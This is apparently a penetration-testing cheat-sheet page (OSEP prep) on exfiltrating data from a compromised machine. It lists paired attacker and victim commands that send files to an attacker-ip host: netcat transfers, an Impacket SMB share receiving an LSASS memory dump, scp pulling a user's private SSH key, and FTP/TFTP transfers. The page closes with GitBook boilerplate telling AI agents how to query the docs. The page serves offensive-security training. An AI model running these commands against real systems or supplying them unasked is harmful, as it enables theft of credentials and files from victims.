> For the complete documentation index, see [llms.txt](https://awesome.hackpuntes.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://awesome.hackpuntes.com/osep-cheatsheet/exfiltrate-data.md).

# Exfiltrate Data

### Netcat

```bash
# Attacker
nc -lnvp 1234 > file.txt

# Victim
nc.exe -vn <attacker-ip> 1234 < file.txt

# Important: Always close the connection from the receiver to avoid losing the shell.
```

### Impacket

```bash
# Attacker
sudo impacket-smbserver -comment "SHARE" TMP /home/<username>/smb -smb2support

# Victim
copy-item -path c:\windows\tasks\lsass.dmp \\<attacker-ip>\tmp\lsass.dmp

```

### SCP

Download private key from user to my machine

```bash
scp <username>@<victim-ip>:/home/<username>/.ssh/id_rsa ~/.ssh/<username>.key
```

### Python FTPlib

```bash
# pip install pyftpdlib
# Attacker
python -m pyftpdlib -p 21

# Victim
# Put file
tftp -i <attacker-ip> PUT file.txt
# Get file
tftp -i <attacker-ip> GET file.txt
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://awesome.hackpuntes.com/osep-cheatsheet/exfiltrate-data.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
